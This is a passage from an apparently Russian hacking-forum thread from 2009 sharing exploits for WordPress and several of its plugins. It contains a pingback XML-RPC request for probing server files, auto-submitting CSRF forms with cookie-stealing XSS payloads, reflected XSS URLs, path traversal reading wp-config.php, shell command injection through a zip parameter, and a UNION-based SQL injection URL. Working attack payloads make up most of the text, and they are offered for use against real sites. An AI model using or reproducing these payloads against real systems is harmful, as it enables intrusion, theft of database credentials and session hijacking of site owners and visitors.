    // Check if the page linked to is in our site
    $pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
    if( !$pos1 )
    	return new IXR_Error(0, __('Is there no link to us?'));
    
    В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки.
    Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе :)
    Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:
    Code:
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
    <param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
    </params>
    </methodCall>
    
    После отсылки пакета ты сможешь получить 2 ответа от сервера:
    1. Если файл c:\boot.ini существует, то блог пришлет такой ответ
    2. Если же такого файла нет, то жди такого ответа
    Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого:
    Содержимое c:\boot.ini остается где-то под катом :)
    Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача :)

    ----
    З.Ы. Спасибо Elekt за то, что навел меня на эту уязвимость)
    З.З.Ы. На сегодняшний день в WordPress 2.7.1-2.8beta2, кроме описанных выше, есть еще, по крайней мере, 2 серьезнейшие 0day уязвимости)
     
    5 people like this.
  17. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Плагины Wordpress

    WPML Multilingual CMS
    Version: 1.0.0
    Last Updated: 2009-6-9
    Downloads: 9,424
    XSS (PoC)
    Code:
    <div style="display:none;">
    <form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm">
    <input name="lang" type="text" value="<script>alert(document.cookie)</script>" />
    <input type='submit'>
    </form>
    <iframe src="" name="ifr" width="1" height="1"></iframe>
    <script>
    	document.xfrm.submit();
    	document.xfrm.lang.value="en";
    	setTimeout('document.xfrm.submit()', 1000);
    </script>
    </div>
    PHPINFO
    Code:
    http://wordpress/wp-content/plugins/sitepress-multilingual-cms/inc/php-version-check.php?icl_phpinfo=1
    XSS (register_globals = On)
    Code:
    http://wordpress/wp-content/plugins/sitepress-multilingual-cms/menu/language-selector.php?w_this_lang[code]="><script>alert(document.cookie)</script>
    http://wordpress/wp-content/plugins/sitepress-multilingual-cms/modules/absolute-links/management-page.php?total_posts_pages="><script>alert(document.cookie)</script>
     
    3 people like this.
  18. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    UnGallery
    Version: 0.8
    Updated: 2009-6-11
    Downloads: 226
    Remote File Disclosure
    PHP:
    if ($_GET['pic']) {
        
    $filename $_GET['pic'];
        
    $len filesize($filename);
        
    $lastslash =  strrpos($filename"/");
        
    $name =  substr($filename$lastslash 1);   

        
    header("Content-type: image/jpeg;\r\n");
        
    header("Content-Length: $len;\r\n");
        
    header("Content-Transfer-Encoding: binary;\r\n");
        
    header('Content-Disposition: inline; filename="'.$name.'"');    //  Render the photo inline.
        
    readfile($filename);
    Code:
    $ curl http://wordpress/wp-content/plugins/ungallery/source.php?pic=../../../wp-config.php
    Shell Command Execution
    PHP:
    $dir "wp-content/plugins/ungallery/pics/" $_GET['zip'];

    // Create the arrays with the dir's image files
    $dp opendir($dir);
    while (
    $filename readdir($dp)) {
        if (!
    is_dir($dir."/pics/".$gallery"/"$filename))  {                                      // If it's a file, begin
            
    $pic_types = array("JPG""jpg""GIF""gif""PNG""png");         
            if (
    in_array(substr($filename, -3), $pic_types)) $pic_array[] = $filename;                // If it's a image, add it to pic array
        
    }
    }
    foreach (
    $pic_array as $filename) {
        
    $media_files $media_files " " $dir "/" $filename;
    }

    $output = `zip -u -j $dir/pics.zip $media_files`;

    print 
    "<pre>$output</pre>";
    print 
    'Complete. The file can be downloaded <a href="./wp-content/plugins/ungallery/source.php?zip=pics/' $_GET['zip'] . '/pics.zip">here</a>';
    print  
    '<br><br>You can return to the gallery <a href="./gallery?gallerylink=' $_GET['zip'] .'">here.</a>';
    Code:
    http://wordpress/wp-content/plugins/ungallery/zip.php?zip=non_existing_dir+non_existing_file;ls;pwd;
    ps: Тут же можно провернуть XSS
     
    #118 oRb, 16 Jun 2009
    Last edited: 16 Jun 2009
    1 person likes this.
  19. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    Mood Personalizer
    Version: 1.1
    Last Updated: 2009-6-11
    Downloads: 453
    XSS/XSRF
    Code:
    <form action='http://wordpress/wp-admin/options-general.php?page=mood-personalizer/mood-personalizer.php' method='post' name="xfrm">
    <input name="xMPPic" type="text" value='"><script>alert(document.cookie)</script>' />
    <input name="xMPHidd" type="text" value='xMPHidd' />
    <input type='submit'>
    </form>
    <script>document.xfrm.submit();</script>
    PHP:
    if($_POST['xMPHidd']=="xMPHidd"){
            
    $xMPPicture $_POST['xMPPic'];
            
    $xMPPictureSize $_POST['xMPPictureSize'];
            
    $xMPPicture str_replace(".2",".".$xMPPictureSize,$xMPPicture);
            
    update_option('xMPPic'$xMPPicture);
        }
    PHP:
    <img src="<?php bloginfo('url'); ?>/wp-content/plugins/mood-personalizer/images/<?php echo get_option('xMPPic');?>" alt="Mood Personalizer mood image"/>
    Если виджет вынесен на сайдбар, то получится активка на морде.
     
  20. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    WordPress Plugin Photoracer 1.0 (id) SQL Injection Vulnerability

    Wordpress Photoracer Plugin => SQL injection
    http://wordpress.org/extend/plugins/photoracer/

    Author: Kacper
    Website: http://devilteam.pl/

    Pozdrawiam wszystkich z huba dc++, oraz wszystkich z forum,

    Pozdro: Ratman, Kopaczka, FDJ

    Elo: dla GLOBUSa za pomoc w crackowaniu hasel.

    Vuln:
    Code:
    http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8--
    big thanks str0ke for you!

    be safe all :)

    # milw0rm.com [2009-06-15]